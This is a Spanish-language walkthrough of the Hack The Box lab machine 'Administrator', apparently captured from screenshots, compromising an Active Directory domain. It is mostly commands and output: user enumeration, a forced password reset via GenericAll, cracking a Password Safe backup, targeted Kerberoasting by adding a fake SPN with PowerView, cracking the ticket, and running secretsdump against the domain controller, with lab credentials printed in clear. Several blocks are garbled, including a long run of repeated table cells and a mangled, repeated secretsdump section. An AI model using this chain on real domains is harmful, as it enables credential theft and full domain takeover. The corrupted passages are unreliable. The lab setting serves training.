
Tenemos credenciales en la máquina como en entornos de pentest REAL



Ping inicial de reconocimiento...

```
ping 10.10.11.42

PING 10.10.11.42 (10.10.11.42) 56(84) bytes of data.
64 bytes from 10.10.11.42: icmp_seq=1 ttl=127
64 bytes from 10.10.11.42: icmp_seq=2 ttl=127

^C
--- 10.10.11.42 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 1001ms
rtt min/avg/max/mdev = 37.300/37.445/37.591/0.145 ms

(jouker® joukerm)-[~]
```

A traves de netexec, ya que tenemos credenciales no me complico la vida con tener que encontrar a un user válido, dentro de los shares compartidos no hay nada de interés por lo que con los usuarios obtenidos voy a aprovechar para hacer los típicos ataques

## AS-REP ROAST attack y KERBEROASTING

```
—(jouker⊛joukerm)-[~/Escritorio/temporal]
sponge users.txt | awk '{print $5}' | sponge users.txt
  —(jouker®joukerm)-[~/Escritorio/temporal]
 -$ cat users.txt
[*]
\lceil + \rceil
-Username-
Administrator
Guest
krbtgt
olivia
michael
benjamin
emily
ethan
alexander
emma
[*]
  -(jouker⊛joukerm)-[~/Escritorio/temporal]
 -$ nano users.txt
```

```
Archivo Acciones Editar Vista Ayuda

GNU nano 8.3

Administrator
Guest
krbtgt
olivia
michael
benjamin
emily
ethan
alexander
emma
```

Con kerbrute intento a ver si saco info, no hay nada de interés.

```
$ python3 kerbrute.py -users ../../temporal/users.txt -dc-ip 10.10.11.42 -domain administrator.htb
Impacket v0.13.0.dev0+20250220.93348.6315ebd5 - Copyright Fortra, LLC and its affiliated companies

[*] Valid user => Administrator
[*] Blocked/Disabled user => Guest
[*] Blocked/Disabled user => krbtgt
[*] Valid user => olivia
[*] Valid user => michael
[*] Valid user => benjamin
[*] Valid user => emily
[*] Valid user => ethan
[*] Blocked/Disabled user => alexander
[*] Blocked/Disabled user => emma
[*] Blocked/Disabled user => emma
[*] No passwords were discovered :'(
```

No hay manera con el asrep, vamos a probar con el kerberoasting aprovechando las credenciales que tenemos disponibles.

Como era de esperar en parte, no hay información relevante haciendo un impacket-GetUsersSPNs

```
(jouker joukerm)-[~]

$ sudo ntpdate -u administrator.htb
[sudo] contraseña para jouker:
2025-04-22 05:12:39.173923 (+0200) +25202.464279 +/- 0.018825 administrator.htb 10.10.11.42 s1 no-leap
CLOCK: time stepped by 25202.464279

—(jouker joukerm)-[~]

$ impacket-GetUserSPNs administrator.htb/olivia -dc-ip 10.10.11.42
Impacket v0.13.0.dev0+20250220.93348.6315ebd5 - Copyright Fortra, LLC and its affiliated companies

Password:
No entries found!
```

Con bloodhound.py obtenemos de forma remota sin tener acceso, simplemente con credenciales enumerar con bloodhound.

Olivia tiene en OUTBOUND OBJECT CONTROL generic all sobre el usuario MICHAEL





```
[Jouker® Joukerm]-[~]
$ net rpc password "michael" "Admin1234%" -U "administrator.htb"/"olivia"%"ichliebedich" -S "dc.administrator.htb"

[Jouker® Joukerm]-[~]
$ netexec smb 10.10.11.42 -u "michael" -p "Admin1234%"

SMB 10.10.11.42 445 DC [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:administrator.htb) (signing:True) (SMBv1:False)

SMB 10.10.11.42 445 DC [*] administrator.htb\michael:Admin1234%

[Jouker® Joukerm]-[~]
```

Simple, sencillo y para toda la familia. Deberíamos hacer enumeración pero me doy cuenta que esto sique para bingo





Es exactamente la misma comanda de antes.

```
| SMB | 10.10.11.42 | 445 | DC | Table | The street | DC | Table | Tab
```

En este caso en bloodhoun no puedo avanzar más con benjamin, por lo que tendré que recurrir de nuevo a listar los shares y otras cosas de interés que puedan llegar a ser útiles.


Nop, los shares no han llegado a ser útiles del todo pero aún así gracias a que teníamos el puerto 21 abierto desde hace rato podemos tener un backup.psafe3.

```
| 1.0 | 1.1 | 2.0 | 2.0 | 2.0 | 2.0 | 2.0 | 2.0 | 2.0 | 2.0 | 2.0 | 2.0 | 2.0 | 2.0 | 2.0 | 2.0 | 2.0 | 2.0 | 2.0 | 2.0 | 2.0 | 2.0 | 2.0 | 2.0 | 2.0 | 2.0 | 2.0 | 2.0 | 2.0 | 2.0 | 2.0 | 2.0 | 2.0 | 2.0 | 2.0 | 2.0 | 2.0 | 2.0 | 2.0 | 2.0 | 2.0 | 2.0 | 2.0 | 2.0 | 2.0 | 2.0 | 2.0 | 2.0 | 2.0 | 2.0 | 2.0 | 2.0 | 2.0 | 2.0 | 2.0 | 2.0 | 2.0 | 2.0 | 2.0 | 2.0 | 2.0 | 2.0 | 2.0 | 2.0 | 2.0 | 2.0 | 2.0 | 2.0 | 2.0 | 2.0 | 2.0 | 2.0 | 2.0 | 2.0 | 2.0 | 2.0 | 2.0 | 2.0 | 2.0 | 2.0 | 2.0 | 2.0 | 2.0 | 2.0 | 2.0 | 2.0 | 2.0 | 2.0 | 2.0 | 2.0 | 2.0 | 2.0 | 2.0 | 2.0 | 2.0 | 2.0 | 2.0 | 2.0 | 2.0 | 2.0 | 2.0 | 2.0 | 2.0 | 2.0 | 2.0 | 2.0 | 2.0 | 2.0 | 2.0 | 2.0 | 2.0 | 2.0 | 2.0 | 2.0 | 2.0 | 2.0 | 2.0 | 2.0 | 2.0 | 2.0 | 2.0 | 2.0 | 2.0 | 2.0 | 2.0 | 2.0 | 2.0 | 2.0 | 2.0 | 2.0 | 2.0 | 2.0 | 2.0 | 2.0 | 2.0 | 2.0 | 2.0 | 2.0 | 2.0 | 2.0 | 2.0 | 2.0 | 2.0 | 2.0 | 2.0 | 2.0 | 2.0 | 2.0 | 2.0 | 2.0 | 2.0 | 2.0 | 2.0 | 2.0 | 2.0 | 2.0 | 2.0 | 2.0 | 2.0 | 2.0 | 2.0 | 2.0 | 2.0 | 2.0 | 2.0 | 2.0 | 2.0 | 2.0 | 2.0 | 2.0 | 2.0 | 2.0 | 2.0 | 2.0 | 2.0 | 2.0 | 2.0 | 2.0 | 2.0 | 2.0 | 2.0 | 2.0 | 2.0 | 2.0 | 2.0 | 2.0 | 2.0 | 2.0 | 2.0 | 2.0 | 2.0 | 2.0 | 2.0 | 2.0 | 2.0 | 2.0 | 2.0 | 2.0 | 2.0 | 2.0 | 2.0 | 2.0 | 2.0 | 2.0 | 2.0 | 2.0 | 2.0 | 2.0 | 2.0 | 2.0 | 2.0 | 2.0 | 2.0 | 2.0 | 2.0 | 2.0 | 2.0 | 2.0 | 2.0 | 2.0 | 2.0 | 2.0 | 2.0 | 2.0 | 2.0 | 2.0 | 2.0 | 2.0 | 2.0 | 2.0 | 2.0 | 2.0 | 2.0 | 2.0 | 2.0 | 2.0 | 2.0 | 2.0 | 2.0 | 2.0 | 2.0 | 2.0 | 2.0 | 2.0 | 2.0 | 2.0 | 2.0 | 2.0 | 2.0 | 2.0 | 2.0 | 2.0 | 2.0 | 2.0 | 2.0 | 2.0 | 2.0 | 2.0 | 2.0 | 2.0 | 2.0 | 2.0 | 2.0 | 2.0 | 2.0 | 2.0 | 2.0 | 2.0 | 2.0 | 2.0 | 2.0 | 2.0 | 2.0 | 2.0 | 2.0 | 2.0 | 2.0 | 2.0 | 2.0 | 2.0 | 2.0 | 2.0 | 2.0 | 2.0 | 2.0 | 2.0 | 2.0 | 2.0 | 2.0 | 2.0 | 2.0 | 2.0 | 2.0 | 2.0 | 2.0 | 2.0 | 2.0 | 2.0 | 2.0 | 2.0 | 2.0 | 2.0 | 2.0 | 2.0 | 2.0 | 2.0 | 2.0 | 2.0 | 2.0 | 2.0 | 2.0 | 2.0 | 2.0 | 2.0 | 2.0 | 2.0 | 2.0 | 2.0 | 2.0 | 2.0 | 2.0 | 2.0 | 2.0 | 2.0 | 2.0 | 2.0 | 2.0 | 2.0 | 2.0 | 2.0 | 2.0 | 2.0 | 2.0 | 2.0 | 2.0 | 2.0 | 2.0 | 2.0 | 2.0 | 2.0 | 2.0
```


Después de buscar bien, se puede ver como psafe3 es algo parecido a un gestor de passwords de KEYPASS, al igual que en otros casos se puede crackear la contraseña con el correspondiente 2 john.

```
(jouker@joukerm)-[~]
$ locate 2john | grep -i safe
/usr/bin/pwsafe2john
/usr/share/john/pwsafe2john.py
/usr/share/john/__pycache__/pwsafe2john.cpython-313.pyc
(jouker@joukerm)-[~]
$ [
```

```
| (jouker jouker) - [~]
| $ pwsafe2john Backup.psafe3
| Backu:$pwsafe5**4ff588b74966263ad2abba592aba35d58bcd3a57e307bf79c8479dec6b3149aa*2048*1a941c10167252410ae04b7b43753aaedb4ec63e3f18c646bb084ec4f0944050
| | (jouker jouker jouker) - [~]
| $ pwsafe2john Backup.psafe3 > hash
| (jouker jouker) - [~]
| $ cat hash
| Backu:$pwsafe5**4ff588b74966263ad2abba592aba35d58bcd3a57e307bf79c8479dec6b3149aa*2048*1a941c10167252410ae04b7b43753aaedb4ec63e3f18c646bb084ec4f0944050
| | (jouker jouker) - [~]
| $ joihn --wordlist=/usr/share/wordlists/rockyou.txt hash
| Using default input encoding: UTF-8
| Loaded 1 password hash (pwsafe, Password Safe [SHA256 256/256 AVX2 8x])
| Cost 1 (iteration count) is 2048 for all loaded hashes
| Will run 3 OpenMP threads
| Password | Password
```



Tengo la password de estos 3 usuarios, en todos sale lo mismo, hay que mirar cual de ellos en bloodhound podemos seguir avanzando



\*Evil-WinRM\* PS C:\temp> \$SecPassword = ConvertTo-SecureString 'UXLCI5iETUsIBoFVTj8yQFKoHjXmb' -AsPlainText -Force \$Cred = New-Object System.Management.Automation.PSCredential('administrator.htb\emily', \$SecPassword)

```
*Evil-WinRM* PS C:\temp> import-module .\PowerView.ps1
*Evil-WinRM* PS C:\temp> Set-DomainObject -Credential $Cred -Identity ethan -SET @{serviceprincipalname='fake/ETHANTEST'}
*Evil-WinRM* PS C:\temp> 

*Evil-WinRM* PS C:\temp>
```

## este si ha funcionado, por la cara

```
Info: Establishing connection to remote endpoint

*Evil—WinRM* PS c:\Users\emily\Documents> $SecPassword = ConvertTo-SecureString 'UXLCISiETUsIBoFVT]8yQFKoHJXmb' -AsPlainText -Force

*Evil—WinRM* PS c:\Users\emily\Documents> $SecPassword = ConvertTo-SecureString 'UXLCISiETUsIBoFVT]8yQFKoHJXmb' -AsPlainText -Force

*Evil—WinRM* PS c:\Users\emily\Documents> $Sec DomainObject System.Management.Automation.PSCredential('administrator.htb\emily', $SecPassword)

*Evil—WinRM* PS c:\Users\emily\Documents> $Sec DomainObject -Credential $Cred -Identity ethan -SET @(serviceprin.cipalname='tuetatno/ETHANTESTINGA')

The term 'Set-DomainObject' is not recognized as the name of a cmdlet, function, script file, or operable program. Check the spelling of the name, or if a path was included, verify that the path is correct and try again.

At line:1 char:1

**Set-DomainObject -Credential $Cred -Identity ethan -SET @(serviceprin ...

**CategoryInfo**

**CategoryInfo**

**CategoryInfo**

**CollayoutifledErrorId : CommandNotFoundException

**FullyQualtfledErrorId : CommandNotFoundException

**Evil—WinRM* PS C:\Users\emily\Documents> cd C:\temp

**Evil—WinRM* PS C:\Users\emily\Documents> cd C:\temp

**Evil—WinRM* PS C:\temp> Import-module ...PowerView.psi |


**Evil—WinRM* PS C:\temp> Set-DomainObject -Credential $Cred -Identity ethan -SET @(serviceprincipalname='tuetatno/ETHANTESTINGA')

**Evil—WinRM* PS C:\temp> Set-DomainObject -Credential $Cred -Identity ethan -SET @(serviceprincipalname='tuetatno/ETHANTESTINGA')
```

A saber porque ahora funciona y antes no, voy a dejar la captura de la comanda del sec password de antes y el nuevo

```
(jouker® joukerm)-[~]
$ nano hash

(jouker® joukerm)-[~]
$ john --wordlist=/usr/share/wordlists/rockyou.txt hash
Using default input encoding: UTF-8
Loaded 1 password hash (krb5tgs, Kerberos 5 TGS etype 23 [MD4 HMAC-MD5 RC4])
Will run 3 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
limpbizkit (?)
1g 0:00:00:00 DONE (2025-04-21 23:19) 50.00g/s 268800p/s 268800c/s 268800C/s Liverpool..ginuwine
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
```



```
| secretsdump.py 'administrator.htb'/'ethan':'limpbizkit'@'dc.administrator.htb'
| secretsdump.py 'administrator.htb'/'ethan':'limpbizkit'@'dc.administrator.htb'
| secretsdump.py 'administrator.htb'/'ethan':'limpbizkit'@'dc.administrator.htb'
| secretsdump.py 'administrator.htb'/ethan':'limpbizkit'@'dc.administrator.htb'
| secretsdump.py 'administrator.htb'/ethan':'limpbizkit'@'dc.administrator.htb'
| secretsdump.py 'administrator.htb'/ethan':'limpbizkit'@'dc.administrator.htb'
| secretsdump.py 'administrator.htb'/ethan':'limpacket e=0.13.0.dev0+22050220.93348.6315ebd5', 'secretsdump.py')
| secretsdump.py 'administrator.secrets', 'administrator.secrets', 'administrator.secrets', 'administrator.secrets', 'administrator.secrets', 'administrator.secrets', 'administrator.secrets', 'administrator.secrets', 'administrator.htb', 'administrator.
```